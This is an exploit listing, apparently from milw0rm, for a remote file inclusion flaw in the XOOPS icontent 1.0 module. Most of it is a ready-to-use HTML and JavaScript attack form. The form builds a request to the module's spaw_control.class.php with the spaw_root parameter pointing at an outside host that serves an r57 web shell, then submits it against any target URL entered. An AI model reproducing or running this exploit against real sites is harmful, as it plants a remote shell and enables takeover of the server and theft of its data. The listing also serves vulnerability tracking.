XOOPS Module icontent 1.0/4.5 Remote File Inclusion Exploit

🗓️ 01 Jun 2007 00:00:00Reported by RootType
XOOPS Module icontent v.1.0 Remote File Inclusion Exploi

                                                &lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=windows-1254&quot;&gt;
&lt;title&gt;XOOPS Module icontent v.1.0 Remote File Inclusion Exploit&lt;/title&gt;

&lt;script language=&quot;JavaScript&quot;&gt;

//'===============================================================================================
//'[Script Name: XOOPS Module icontent v.1.0
//'[Author     : Mahmood_ali
//'[S.Page     : http://mirror.in.th/sourceforge.net/x/xo/xoops/xoops2-mod_icontent.zip
//'===============================================================================================

//'[[V.Code]]------------------------------------------------------
//'
//'include $spaw_root.'config/spaw_control.config.php';
//'include $spaw_root.'class/toolbars.class.php';
//'include $spaw_root.'class/lang.class.php';
//'
//'[[V.Code]]---------------------------------------------------------

//# Tryag.Com
//# ...




   var path=&quot;/modules/icontent/include/wysiwyg/&quot;
   var adres=&quot;spaw_control.class.php&quot; //File name
   var acik =&quot;?spaw_root=&quot; // Line 15
   var shell=&quot;http://lppm.uns.ac.id/r57.txt?&quot; // R57Shell

   function command(){
       if (document.rfi.target1.value==&quot;&quot;){
          alert(&quot;Failed..&quot;);
      return false;
    }



  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready
  rfi.submit(); // Form Submit
   }
&lt;/script&gt;

&lt;/head&gt;

&lt;body bgcolor=&quot;#000000&quot;&gt;
&lt;center&gt;

&lt;p&gt;&lt;b&gt;&lt;font face=&quot;Arial&quot; size=&quot;2&quot; color=&quot;#FFFFFF&quot;&gt;XOOPS Module icontent 
v.1.0 Remote File Inclusion Exploit&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;
&lt;form method=&quot;post&quot; target=&quot;getting&quot; name=&quot;rfi&quot; onSubmit=&quot;command();&quot;&gt;
    &lt;b&gt;&lt;font face=&quot;Tahoma&quot; size=&quot;1&quot; color=&quot;#FF0000&quot;&gt;Target:&lt;/font&gt;&lt;font 
face=&quot;Tahoma&quot; size=&quot;1&quot; 
color=&quot;#FFFF00&quot;&gt;[http://[target]/[scriptpath]&lt;/font&gt;&lt;font color=&quot;#00FF00&quot; 
size=&quot;2&quot; face=&quot;Tahoma&quot;&gt;
  &lt;/font&gt;&lt;font color=&quot;#FF0000&quot; size=&quot;2&quot;&gt;&amp;nbsp;&lt;/font&gt;&lt;/b&gt;
  &lt;input type=&quot;text&quot; name=&quot;target1&quot; size=&quot;20&quot; style=&quot;background-color: 
#808000&quot; onmouseover=&quot;javascript:this.style.background='#808080';&quot; 
onmouseout=&quot;javascript:this.style.background='#808000';&quot;&gt;&lt;/p&gt;
  &lt;p&gt;&lt;input type=&quot;submit&quot; value=&quot;Gonder&quot; name=&quot;B1&quot;&gt;&lt;input type=&quot;reset&quot; 
value=&quot;Sifirla&quot; name=&quot;B2&quot;&gt;&lt;/p&gt;
&lt;/form&gt;
&lt;p&gt;&lt;br&gt;
&lt;iframe name=&quot;getting&quot; height=&quot;337&quot; width=&quot;633&quot; scrolling=&quot;yes&quot; 
frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;
&lt;/p&gt;

&lt;b&gt;&lt;font face=&quot;Lucida Handwriting&quot; size=&quot;5&quot; 
color=&quot;#FF0000&quot;&gt;Mahmood_ali&lt;/font&gt;&lt;/b&gt;&lt;p&gt;
&lt;b&gt;&lt;a href=&quot;http://tryag.com/cc&quot;&gt;
&lt;font face=&quot;Lucida Handwriting&quot; size=&quot;5&quot; 
color=&quot;#FFFFFF&quot;&gt;TrYaG-Team&lt;/font&gt;&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
&lt;/p&gt;
&lt;/center&gt;
&lt;/body&gt;

&lt;/html&gt;

# milw0rm.com [2007-06-01]
01 Jun 2007 00:00Current
7.1High risk
Vulners AI Score7.1